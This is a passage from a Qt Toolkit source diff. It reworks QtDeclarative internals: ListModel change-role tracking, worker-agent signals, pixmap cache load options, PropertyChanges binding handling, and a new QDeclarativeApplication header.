+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/linguistgenerator.h b/src/declarative/util/qdeclarativeapplication_p.h
index 402c10f..caaed18 100644
--- a/tools/qdoc3/linguistgenerator.h
+++ b/src/declarative/util/qdeclarativeapplication_p.h
@@ -1,10 +1,10 @@
/****************************************************************************
**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,47 +39,48 @@
**
****************************************************************************/
-/*
- LinguistGenerator.h
-*/
+#ifndef QDECLARATIVEAPPLICATION_P_H
+#define QDECLARATIVEAPPLICATION_P_H
-#ifndef LINGUISTGENERATOR_H
-#define LINGUISTGENERATOR_H
+#include <QtCore/QObject>
+#include <qdeclarative.h>
+#include <private/qdeclarativeglobal_p.h>
-#include <qmap.h>
-#include <qregexp.h>
-#include <qdom.h>
-
-#include "codemarker.h"
-#include "config.h"
-#include "pagegenerator.h"
+QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
-class LinguistGenerator : public PageGenerator
+QT_MODULE(Declarative)
+
+class QDeclarativeApplicationPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeApplication : public QObject
{
-public:
- LinguistGenerator();
- ~LinguistGenerator();
+ Q_OBJECT
+ Q_PROPERTY(bool active READ active NOTIFY activeChanged)
+ Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged)
- virtual void initializeGenerator( const Config& config );
- virtual void terminateGenerator();
- virtual QString format();
+public:
+ explicit QDeclarativeApplication(QObject *parent = 0);
+ virtual ~QDeclarativeApplication();
+ bool active() const;
+ Qt::LayoutDirection layoutDirection() const;
protected:
- virtual void generateClassLikeNode(const InnerNode *inner,
- CodeMarker *marker);
- virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker );
- virtual QString fileExtension(const Node *node) const;
+ bool eventFilter(QObject *obj, QEvent *event);
- QList<QDomElement> generateIndexSections(QDomDocument &document,
- const Node *node, CodeMarker *marker);
- virtual QString fullName(const Node *node) const;
+Q_SIGNALS:
+ void activeChanged();
+ void layoutDirectionChanged();
private:
- QString simplified(const QString &text) const;
+ Q_DISABLE_COPY(QDeclarativeApplication)
+ Q_DECLARE_PRIVATE(QDeclarativeApplication)
};
QT_END_NAMESPACE
-#endif
+QML_DECLARE_TYPE(QDeclarativeApplication)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEAPPLICATION_P_H
diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp
index 6f35957..5a66aab 100644
--- a/src/declarative/util/qdeclarativeconnections.cpp
+++ b/src/declarative/util/qdeclarativeconnections.cpp
@@ -45,6 +45,7 @@
#include <qdeclarativeproperty_p.h>
#include <qdeclarativeboundsignal_p.h>
#include <qdeclarativecontext.h>
+#include <qdeclarativecontext_p.h>
#include <qdeclarativeinfo.h>
#include <QtCore/qdebug.h>
@@ -71,8 +72,8 @@ public:
/*!
\qmlclass Connections QDeclarativeConnections
- \ingroup qml-utility-elements
- \since 4.7
+ \ingroup qml-utility-elements
+ \since 4.7
\brief A Connections element describes generalized connections to signals.
A Connections object creates a connection to a QML signal.
@@ -82,7 +83,7 @@ public:
\qml
MouseArea {
- onClicked: { foo(...) }
+ onClicked: { foo(parameters) }
}
\endqml
@@ -103,7 +104,7 @@ public:
\qml
MouseArea {
Connections {
- onClicked: foo(...)
+ onClicked: foo(parameters)
}
}
\endqml
@@ -115,10 +116,10 @@ public:
MouseArea {
id: area
}
- ...
+ // ...
Connections {
target: area
- onClicked: foo(...)
+ onClicked: foo(parameters)
}
\endqml
@@ -257,7 +258,11 @@ void QDeclarativeConnections::connectSignals()
if (prop.isValid() && (prop.type() & QDeclarativeProperty::SignalProperty)) {
QDeclarativeBoundSignal *signal =
new QDeclarativeBoundSignal(target(), prop.method(), this);
- signal->setExpression(new QDeclarativeExpression(qmlContext(this), 0, script));
+ QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(this), 0, script);
+ QDeclarativeData *ddata = QDeclarativeData::get(this);
+ if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty())
+ expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber);
+ signal->setExpression(expression);
d->boundsignals += signal;
} else {
if (!d->ignoreUnknownSignals)
diff --git a/src/declarative/util/qdeclarativefontloader.cpp b/src/declarative/util/qdeclarativefontloader.cpp
index d39da3f..eba9cf9 100644
--- a/src/declarative/util/qdeclarativefontloader.cpp
+++ b/src/declarative/util/qdeclarativefontloader.cpp
@@ -262,8 +262,18 @@ void QDeclarativeFontLoader::updateFontInfo(const QString& name, QDeclarativeFon
Example:
\qml
- FontLoader { id: webFont; source: "http://www.mysite.com/myfont.ttf" }
- Text { text: "Fancy font"; font.family: webFont.name }
+ Item {
+ width: 200; height: 50
+
+ FontLoader {
+ id: webFont
+ source: "http://www.mysite.com/myfont.ttf"
+ }
+ Text {
+ text: "Fancy font"
+ font.family: webFont.name
+ }
+ }
\endqml
*/
QString QDeclarativeFontLoader::name() const
diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp
index e5ba5e0..80b52fd 100644
--- a/src/declarative/util/qdeclarativelistmodel.cpp
+++ b/src/declarative/util/qdeclarativelistmodel.cpp
@@ -108,9 +108,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM
The following example shows a ListModel containing three elements, with the roles
"name" and "cost".
- \beginfloatright
+ \div {float-right}
\inlineimage listmodel.png
- \endfloat
+ \enddiv
\snippet doc/src/snippets/declarative/listmodel.qml 0
@@ -133,9 +133,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM
The delegate displays all the fruit attributes:
- \beginfloatright
+ \div {float-right}
\inlineimage listmodel-nested.png
- \endfloat
+ \enddiv
\snippet doc/src/snippets/declarative/listmodel-nested.qml delegate
@@ -559,6 +559,14 @@ QScriptValue QDeclarativeListModel::get(int index) const
*/
void QDeclarativeListModel::set(int index, const QScriptValue& valuemap)
{
+ QList<int> roles;
+ set(index, valuemap, &roles);
+ if (!roles.isEmpty() && !inWorkerThread())
+ emit itemsChanged(index, 1, roles);
+}
+
+void QDeclarativeListModel::set(int index, const QScriptValue& valuemap, QList<int> *roles)
+{
if (!valuemap.isObject() || valuemap.isArray()) {
qmlInfo(this) << tr("set: value is not an object");
return;
@@ -571,14 +579,10 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap)
if (index == count()) {
append(valuemap);
} else {
- QList<int> roles;
if (m_flat)
- m_flat->set(index, valuemap, &roles);
+ m_flat->set(index, valuemap, roles);
else
- m_nested->set(index, valuemap, &roles);
-
- if (!inWorkerThread())
- emit itemsChanged(index, 1, roles);
+ m_nested->set(index, valuemap, roles);
}
}
@@ -597,19 +601,23 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap)
*/
void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value)
{
+ QList<int> roles;
+ setProperty(index, property, value, &roles);
+ if (!roles.isEmpty() && !inWorkerThread())
+ emit itemsChanged(index, 1, roles);
+}
+
+void QDeclarativeListModel::setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles)
+{
if (count() == 0 || index >= count() || index < 0) {
qmlInfo(this) << tr("set: index %1 out of range").arg(index);
return;
}
- QList<int> roles;
if (m_flat)
- m_flat->setProperty(index, property, value, &roles);
+ m_flat->setProperty(index, property, value, roles);
else
- m_nested->setProperty(index, property, value, &roles);
-
- if (!inWorkerThread())
- emit itemsChanged(index, 1, roles);
+ m_nested->setProperty(index, property, value, roles);
}
/*!
@@ -1011,9 +1019,11 @@ void FlatListModel::setProperty(int index, const QString& property, const QVaria
} else {
role = iter.value();
}
- roles->append(role);
- m_values[index][role] = value;
+ if (m_values[index][role] != value) {
+ roles->append(role);
+ m_values[index][role] = value;
+ }
}
void FlatListModel::move(int from, int to, int n)
@@ -1043,6 +1053,10 @@ bool FlatListModel::addValue(const QScriptValue &value, QHash<int, QVariant> *ro
iter = m_strings.insert(name, role);
if (roles)
roles->append(role);
+ } else {
+ int role = iter.value();
+ if (roles && row->contains(role) && row->value(role) != v)
+ roles->append(role);
}
row->insert(*iter, v);
}
@@ -1151,14 +1165,14 @@ void FlatListScriptClass::setProperty(Object *obj, const Identifier &name, const
QHash<int, QVariant> &row = m_model->m_values[index];
row[role] = value.toVariant();
+ QList<int> roles;
+ roles << role;
if (m_model->m_parentAgent) {
// This is the list in the worker thread, so tell the agent to
// emit itemsChanged() later
- m_model->m_parentAgent->changedData(index, 1);
+ m_model->m_parentAgent->changedData(index, 1, roles);
} else {
// This is the list in the main thread, so emit itemsChanged()
- QList<int> roles;
- roles << role;
emit m_model->m_listModel->itemsChanged(index, 1, roles);
}
}
@@ -1350,7 +1364,9 @@ void NestedListModel::set(int index, const QScriptValue& valuemap, QList<int> *r
Q_ASSERT(index >=0 && index < count());
ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
- node->setObjectValue(valuemap);
+ bool emitItemsChanged = node->setObjectValue(valuemap);
+ if (!emitItemsChanged)
+ return;
QScriptValueIterator it(valuemap);
while (it.hasNext()) {
@@ -1369,7 +1385,9 @@ void NestedListModel::setProperty(int index, const QString& property, const QVar
Q_ASSERT(index >=0 && index < count());
ModelNode *node = qvariant_cast<ModelNode *>(_root->values.at(index));
- node->setProperty(property, value);
+ bool emitItemsChanged = node->setProperty(property, value);
+ if (!emitItemsChanged)
+ return;
int r = roleStrings.indexOf(property);
if (r < 0) {
@@ -1441,24 +1459,37 @@ void ModelNode::clear()
properties.clear();
}
-void ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache) {
+bool ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache)
+{
+ bool emitItemsChanged = false;
+
QScriptValueIterator it(valuemap);
while (it.hasNext()) {
it.next();
+ ModelNode *prev = properties.value(it.name());
ModelNode *value = new ModelNode(m_model);
QScriptValue v = it.value();
+
if (v.isArray()) {
value->isArray = true;
value->setListValue(v);
+ if (writeToCache && objectCache)
+ objectCache->setValue(it.name().toUtf8(), QVariant::fromValue(value->model(m_model)));
+ emitItemsChanged = true; // for now, too inefficient to check whether list and sublists have changed
} else {
value->values << v.toVariant();
if (writeToCache && objectCache)
objectCache->setValue(it.name().toUtf8(), value->values.last());
+ if (!emitItemsChanged && prev && prev->values.count() == 1
+ && prev->values[0] != value->values.last()) {
+ emitItemsChanged = true;
+ }
}
if (properties.contains(it.name()))
delete properties[it.name()];
properties.insert(it.name(), value);
}
+ return emitItemsChanged;
}
void ModelNode::setListValue(const QScriptValue& valuelist) {
@@ -1481,9 +1512,12 @@ void ModelNode::setListValue(const QScriptValue& valuelist) {
}
}
-void ModelNode::setProperty(const QString& prop, const QVariant& val) {
+bool ModelNode::setProperty(const QString& prop, const QVariant& val) {
QHash<QString, ModelNode *>::const_iterator it = properties.find(prop);
+ bool emitItemsChanged = false;
if (it != properties.end()) {
+ if (val != (*it)->values[0])
+ emitItemsChanged = true;
(*it)->values[0] = val;
} else {
ModelNode *n = new ModelNode(m_model);
@@ -1492,6 +1526,7 @@ void ModelNode::setProperty(const QString& prop, const QVariant& val) {
}
if (objectCache)
objectCache->setValue(prop.toUtf8(), val);
+ return emitItemsChanged;
}
void ModelNode::updateListIndexes()
@@ -1559,7 +1594,7 @@ ModelObject::ModelObject(ModelNode *node, NestedListModel *model, QScriptEngine
void ModelObject::setValue(const QByteArray &name, const QVariant &val)
{
m_meta->setValue(name, val);
- setProperty(name.constData(), val);
+ //setProperty(name.constData(), val);
}
void ModelObject::setNodeUpdatesEnabled(bool enable)
@@ -1586,9 +1621,9 @@ void ModelNodeMetaObject::propertyWritten(int index)
QScriptValue sv = m_seng->newObject();
sv.setProperty(propName, m_seng->newVariant(value));
- m_obj->m_node->setObjectValue(sv, false);
-
- m_obj->m_node->changedProperty(propName);
+ bool changed = m_obj->m_node->setObjectValue(sv, false);
+ if (changed)
+ m_obj->m_node->changedProperty(propName);
}
diff --git a/src/declarative/util/qdeclarativelistmodel_p.h b/src/declarative/util/qdeclarativelistmodel_p.h
index 5f73557..7870b4f 100644
--- a/src/declarative/util/qdeclarativelistmodel_p.h
+++ b/src/declarative/util/qdeclarativelistmodel_p.h
@@ -103,6 +103,9 @@ private:
// Constructs a flat list model for a worker agent
QDeclarativeListModel(const QDeclarativeListModel *orig, QDeclarativeListModelWorkerAgent *parent);
+ void set(int index, const QScriptValue&, QList<int> *roles);
+ void setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles);
+
bool flatten();
bool inWorkerThread() const;
diff --git a/src/declarative/util/qdeclarativelistmodel_p_p.h b/src/declarative/util/qdeclarativelistmodel_p_p.h
index 5ba702c..7236e8b 100644
--- a/src/declarative/util/qdeclarativelistmodel_p_p.h
+++ b/src/declarative/util/qdeclarativelistmodel_p_p.h
@@ -190,7 +190,7 @@ public:
bool insert(int index, const QScriptValue&);
QScriptValue get(int index) const;
void set(int index, const QScriptValue&, QList<int> *roles);
- void setProperty(int index, const QString& property, const QVariant& value, QList<int> *role);
+ void setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles);
void move(int from, int to, int count);
QVariant valueForNode(ModelNode *, bool *hasNested = 0) const;
@@ -255,9 +255,9 @@ struct ModelNode
QDeclarativeListModel *model(const NestedListModel *model);
ModelObject *object(const NestedListModel *model);
- void setObjectValue(const QScriptValue& valuemap, bool writeToCache = true);
+ bool setObjectValue(const QScriptValue& valuemap, bool writeToCache = true);
void setListValue(const QScriptValue& valuelist);
- void setProperty(const QString& prop, const QVariant& val);
+ bool setProperty(const QString& prop, const QVariant& val);
void changedProperty(const QString &name) const;
void updateListIndexes();
static void dump(ModelNode *node, int ind);
diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp
index 69353f1..befa8eb 100644
--- a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp
+++ b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp
@@ -60,25 +60,25 @@ void QDeclarativeListModelWorkerAgent::Data::clearChange()
void QDeclarativeListModelWorkerAgent::Data::insertChange(int index, int count)
{
- Change c = { Change::Inserted, index, count, 0 };
+ Change c = { Change::Inserted, index, count, 0, QList<int>() };
changes << c;
}
void QDeclarativeListModelWorkerAgent::Data::removeChange(int index, int count)
{
- Change c = { Change::Removed, index, count, 0 };
+ Change c = { Change::Removed, index, count, 0, QList<int>() };
changes << c;
}
void QDeclarativeListModelWorkerAgent::Data::moveChange(int index, int count, int to)
{
- Change c = { Change::Moved, index, count, to };
+ Change c = { Change::Moved, index, count, to, QList<int>() };
changes << c;
}
-void QDeclarativeListModelWorkerAgent::Data::changedChange(int index, int count)
+void QDeclarativeListModelWorkerAgent::Data::changedChange(int index, int count, const QList<int> &roles)
{
- Change c = { Change::Changed, index, count, 0 };
+ Change c = { Change::Changed, index, count, 0, roles };
changes << c;
}
@@ -165,14 +165,18 @@ QScriptValue QDeclarativeListModelWorkerAgent::get(int index) const
void QDeclarativeListModelWorkerAgent::set(int index, const QScriptValue &value)
{
- m_copy->set(index, value);
- data.changedChange(index, 1);
+ QList<int> roles;
+ m_copy->set(index, value, &roles);
+ if (!roles.isEmpty())
+ data.changedChange(index, 1, roles);
}
void QDeclarativeListModelWorkerAgent::setProperty(int index, const QString& property, const QVariant& value)
{
- m_copy->setProperty(index, property, value);
- data.changedChange(index, 1);
+ QList<int> roles;
+ m_copy->setProperty(index, property, value, &roles);
+ if (!roles.isEmpty())
+ data.changedChange(index, 1, roles);
}
void QDeclarativeListModelWorkerAgent::move(int from, int to, int count)
@@ -194,9 +198,9 @@ void QDeclarativeListModelWorkerAgent::sync()
mutex.unlock();
}
-void QDeclarativeListModelWorkerAgent::changedData(int index, int count)
+void QDeclarativeListModelWorkerAgent::changedData(int index, int count, const QList<int> &roles)
{
- data.changedChange(index, count);
+ data.changedChange(index, count, roles);
}
bool QDeclarativeListModelWorkerAgent::event(QEvent *e)
@@ -255,7 +259,7 @@ bool QDeclarativeListModelWorkerAgent::event(QEvent *e)
emit m_orig->itemsMoved(change.index, change.to, change.count);
break;
case Change::Changed:
- emit m_orig->itemsChanged(change.index, change.count, orig->m_roles.keys());
+ emit m_orig->itemsChanged(change.index, change.count, change.roles);
break;
}
}
diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent_p.h b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h
index fbe0195..4c800e9 100644
--- a/src/declarative/util/qdeclarativelistmodelworkeragent_p.h
+++ b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h
@@ -124,6 +124,7 @@ private:
int index; // Inserted/Removed/Moved/Changed
int count; // Inserted/Removed/Moved/Changed
int to; // Moved
+ QList<int> roles;
};
struct Data {
@@ -133,7 +134,7 @@ private:
void insertChange(int index, int count);
void removeChange(int index, int count);
void moveChange(int index, int count, int to);
- void changedChange(int index, int count);
+ void changedChange(int index, int count, const QList<int> &roles);
};
Data data;
@@ -143,7 +144,7 @@ private:
QDeclarativeListModel *list;
};
- void changedData(int index, int count);
+ void changedData(int index, int count, const QList<int> &roles);
QAtomicInt m_ref;
QDeclarativeListModel *m_orig;
diff --git a/src/declarative/util/qdeclarativeopenmetaobject.cpp b/src/declarative/util/qdeclarativeopenmetaobject.cpp
index 510a0c1..0ceda35 100644
--- a/src/declarative/util/qdeclarativeopenmetaobject.cpp
+++ b/src/declarative/util/qdeclarativeopenmetaobject.cpp
@@ -97,7 +97,6 @@ int QDeclarativeOpenMetaObjectType::createProperty(const QByteArray &name)
int id = d->mob.propertyCount();
d->mob.addSignal("__" + QByteArray::number(id) + "()");
QMetaPropertyBuilder build = d->mob.addProperty(name, "QVariant", id);
- build.setDynamic(true);
propertyCreated(id, build);
qFree(d->mem);
d->mem = d->mob.toMetaObject();
diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp
index 1dd01f6..5190eab 100644
--- a/src/declarative/util/qdeclarativepixmapcache.cpp
+++ b/src/declarative/util/qdeclarativepixmapcache.cpp
@@ -959,20 +959,20 @@ QRect QDeclarativePixmap::rect() const
void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url)
{
- load(engine, url, QSize(), false);
+ load(engine, url, QSize(), QDeclarativePixmap::Cache);
}
-void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, bool async)
+void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDeclarativePixmap::Options options)
{
- load(engine, url, QSize(), async);
+ load(engine, url, QSize(), options);
}
void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &size)
{
- load(engine, url, size, false);
+ load(engine, url, size, QDeclarativePixmap::Cache);
}
-void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, bool async)
+void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, QDeclarativePixmap::Options options)
{
if (d) { d->release(); d = 0; }
@@ -982,19 +982,20 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const
QHash<QDeclarativePixmapKey, QDeclarativePixmapData *>::Iterator iter = store->m_cache.find(key);
if (iter == store->m_cache.end()) {
- if (async) {
+ if (options & QDeclarativePixmap::Asynchronous) {
// pixmaps can only be loaded synchronously
if (url.scheme() == QLatin1String("image")
&& QDeclarativeEnginePrivate::get(engine)->getImageProviderType(url) == QDeclarativeImageProvider::Pixmap) {
- async = false;
+ options &= ~QDeclarativePixmap::Asynchronous;
}
}
- if (!async) {
+ if (!(options & QDeclarativePixmap::Asynchronous)) {
bool ok = false;
d = createPixmapDataSync(engine, url, requestSize, &ok);
if (ok) {
- d->addToCache();
+ if (options & QDeclarativePixmap::Cache)
+ d->addToCache();
return;
}
if (d) // loadable, but encountered error while loading
@@ -1007,7 +1008,8 @@ void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const
QDeclarativePixmapReader *reader = QDeclarativePixmapReader::instance(engine);
d = new QDeclarativePixmapData(url, requestSize);
- d->addToCache();
+ if (options & QDeclarativePixmap::Cache)
+ d->addToCache();
d->reply = reader->getImage(d);
} else {
diff --git a/src/declarative/util/qdeclarativepixmapcache_p.h b/src/declarative/util/qdeclarativepixmapcache_p.h
index f9ebf3b..1cf76dd 100644
--- a/src/declarative/util/qdeclarativepixmapcache_p.h
+++ b/src/declarative/util/qdeclarativepixmapcache_p.h
@@ -66,6 +66,12 @@ public:
enum Status { Null, Ready, Error, Loading };
+ enum Option {
+ Asynchronous = 0x00000001,
+ Cache = 0x00000002
+ };
+ Q_DECLARE_FLAGS(Options, Option)
+
bool isNull() const;
bool isReady() const;
bool isError() const;
@@ -85,9 +91,9 @@ public:
inline operator const QPixmap &() const;
void load(QDeclarativeEngine *, const QUrl &);
- void load(QDeclarativeEngine *, const QUrl &, bool);
+ void load(QDeclarativeEngine *, const QUrl &, QDeclarativePixmap::Options options);
void load(QDeclarativeEngine *, const QUrl &, const QSize &);
- void load(QDeclarativeEngine *, const QUrl &, const QSize &, bool);
+ void load(QDeclarativeEngine *, const QUrl &, const QSize &, QDeclarativePixmap::Options options);
void clear();
void clear(QObject *);
@@ -107,6 +113,8 @@ inline QDeclarativePixmap::operator const QPixmap &() const
return pixmap();
}
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePixmap::Options)
+
QT_END_NAMESPACE
QT_END_HEADER
diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp
index 1c5d463..9bcb263 100644
--- a/src/declarative/util/qdeclarativepropertychanges.cpp
+++ b/src/declarative/util/qdeclarativepropertychanges.cpp
@@ -42,6 +42,9 @@
#include "private/qdeclarativepropertychanges_p.h"
#include "private/qdeclarativeopenmetaobject_p.h"
+#include "private/qdeclarativerewrite_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativecompiler_p.h"
#include <qdeclarativeinfo.h>
#include <qdeclarativecustomparser_p.h>
@@ -217,11 +220,22 @@ public:
void decode();
- QList<QPair<QByteArray, QVariant> > properties;
- QList<QPair<QByteArray, QDeclarativeExpression *> > expressions;
+ class ExpressionChange {
+ public:
+ ExpressionChange(const QString &_name,
+ QDeclarativeBinding::Identifier _id,
+ QDeclarativeExpression *_expr)
+ : name(_name), id(_id), expression(_expr) {}
+ QString name;
+ QDeclarativeBinding::Identifier id;
+ QDeclarativeExpression *expression;
+ };
+
+ QList<QPair<QString, QVariant> > properties;
+ QList<ExpressionChange> expressions;
QList<QDeclarativeReplaceSignalHandler*> signalReplacements;
- QDeclarativeProperty property(const QByteArray &);
+ QDeclarativeProperty property(const QString &);
};
void
@@ -267,6 +281,7 @@ QDeclarativePropertyChangesParser::compile(const QList<QDeclarativeCustomParserP
QDeclarativeParser::Variant v = qvariant_cast<QDeclarativeParser::Variant>(data.at(ii).second);
QVariant var;
bool isScript = v.isScript();
+ QDeclarativeBinding::Identifier id = 0;
switch(v.type()) {
case QDeclarativeParser::Variant::Boolean:
var = QVariant(v.asBoolean());
@@ -280,10 +295,17 @@ QDeclarativePropertyChangesParser::compile(const QList<QDeclarativeCustomParserP
case QDeclarativeParser::Variant::Invalid:
case QDeclarativeParser::Variant::Script:
var = QVariant(v.asScript());
+ {
+ // Pre-rewrite the expression
+ QString expression = v.asScript();
+ id = rewriteBinding(expression, data.at(ii).first); //### recreates the AST, which is slow
+ }
break;
}
- ds << data.at(ii).first << isScript << var;
+ ds << QString::fromUtf8(data.at(ii).first) << isScript << var;
+ if (isScript)
+ ds << id;
}
return rv;
@@ -300,12 +322,15 @@ void QDeclarativePropertyChangesPrivate::decode()
int count;
ds >> count;
for (int ii = 0; ii < count; ++ii) {
- QByteArray name;
+ QString name;
bool isScript;
QVariant data;
+ QDeclarativeBinding::Identifier id = QDeclarativeBinding::Invalid;
ds >> name;
ds >> isScript;
ds >> data;
+ if (isScript)
+ ds >> id;
QDeclarativeProperty prop = property(name); //### better way to check for signal property?
if (prop.type() & QDeclarativeProperty::SignalProperty) {
@@ -322,7 +347,7 @@ void QDeclarativePropertyChangesPrivate::decode()
QDeclarativeData *ddata = QDeclarativeData::get(q);
if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty())
expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber);
- expressions << qMakePair(name, expression);
+ expressions << ExpressionChange(name, id, expression);
} else {
properties << qMakePair(name, data);
}
@@ -350,7 +375,7 @@ QDeclarativePropertyChanges::~QDeclarativePropertyChanges()
{
Q_D(QDeclarativePropertyChanges);
for(int ii = 0; ii < d->expressions.count(); ++ii)
- delete d->expressions.at(ii).second;
+ delete d->expressions.at(ii).expression;
for(int ii = 0; ii < d->signalReplacements.count(); ++ii)
delete d->signalReplacements.at(ii);
}
@@ -389,15 +414,15 @@ void QDeclarativePropertyChanges::setRestoreEntryValues(bool v)
}
QDeclarativeProperty
-QDeclarativePropertyChangesPrivate::property(const QByteArray &property)
+QDeclarativePropertyChangesPrivate::property(const QString &property)
{
Q_Q(QDeclarativePropertyChanges);
- QDeclarativeProperty prop(object, QString::fromUtf8(property), qmlContext(q));
+ QDeclarativeProperty prop(object, property, qmlContext(q));
if (!prop.isValid()) {
- qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(QString::fromUtf8(property));
+ qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(property);
return QDeclarativeProperty();
} else if (!(prop.type() & QDeclarativeProperty::SignalProperty) && !prop.isWritable()) {
- qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(QString::fromUtf8(property));
+ qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(property);
return QDeclarativeProperty();
}
return prop;
@@ -413,9 +438,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions()
for (int ii = 0; ii < d->properties.count(); ++ii) {
- QByteArray property = d->properties.at(ii).first;
-
- QDeclarativeAction a(d->object, QString::fromUtf8(property),
+ QDeclarativeAction a(d->object, d->properties.at(ii).first,
qmlContext(this), d->properties.at(ii).second);
if (a.property.isValid()) {
@@ -437,7 +460,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions()
for (int ii = 0; ii < d->expressions.count(); ++ii) {
- QByteArray property = d->expressions.at(ii).first;
+ const QString &property = d->expressions.at(ii).name;
QDeclarativeProperty prop = d->property(property);
if (prop.isValid()) {
@@ -446,16 +469,20 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions()
a.property = prop;
a.fromValue = a.property.read();
a.specifiedObject = d->object;
- a.specifiedProperty = QString::fromUtf8(property);
+ a.specifiedProperty = property;
if (d->isExplicit) {
- a.toValue = d->expressions.at(ii).second->evaluate();
+ a.toValue = d->expressions.at(ii).expression->evaluate();
} else {
- QDeclarativeExpression *e = d->expressions.at(ii).second;
- QDeclarativeBinding *newBinding =
- new QDeclarativeBinding(e->expression(), object(), qmlContext(this));
+ QDeclarativeExpression *e = d->expressions.at(ii).expression;
+
+ QDeclarativeBinding::Identifier id = d->expressions.at(ii).id;
+ QDeclarativeBinding *newBinding = id != QDeclarativeBinding::Invalid ? QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()) : 0;
+ if (!newBinding) {
+ newBinding = new QDeclarativeBinding(e->expression(), object(), qmlContext(this));
+ newBinding->setSourceLocation(e->sourceFile(), e->lineNumber());
+ }
newBinding->setTarget(prop);
- newBinding->setSourceLocation(e->sourceFile(), e->lineNumber());
a.toBinding = newBinding;
a.deletableToBinding = true;
}
@@ -498,10 +525,10 @@ void QDeclarativePropertyChanges::setIsExplicit(bool e)
d->isExplicit = e;
}
-bool QDeclarativePropertyChanges::containsValue(const QByteArray &name) const
+bool QDeclarativePropertyChanges::containsValue(const QString &name) const
{
Q_D(const QDeclarativePropertyChanges);
- typedef QPair<QByteArray, QVariant> PropertyEntry;
+ typedef QPair<QString, QVariant> PropertyEntry;
QListIterator<PropertyEntry> propertyIterator(d->properties);
while (propertyIterator.hasNext()) {
@@ -514,15 +541,15 @@ bool QDeclarativePropertyChanges::containsValue(const QByteArray &name) const
return false;
}
-bool QDeclarativePropertyChanges::containsExpression(const QByteArray &name) const
+bool QDeclarativePropertyChanges::containsExpression(const QString &name) const
{
Q_D(const QDeclarativePropertyChanges);
- typedef QPair<QByteArray, QDeclarativeExpression *> ExpressionEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
QListIterator<ExpressionEntry> expressionIterator(d->expressions);
while (expressionIterator.hasNext()) {
const ExpressionEntry &entry = expressionIterator.next();
- if (entry.first == name) {
+ if (entry.name == name) {
return true;
}
}
@@ -530,21 +557,21 @@ bool QDeclarativePropertyChanges::containsExpression(const QByteArray &name) con
return false;
}
-bool QDeclarativePropertyChanges::containsProperty(const QByteArray &name) const
+bool QDeclarativePropertyChanges::containsProperty(const QString &name) const
{
return containsValue(name) || containsExpression(name);
}
-void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVariant &value)
+void QDeclarativePropertyChanges::changeValue(const QString &name, const QVariant &value)
{
Q_D(QDeclarativePropertyChanges);
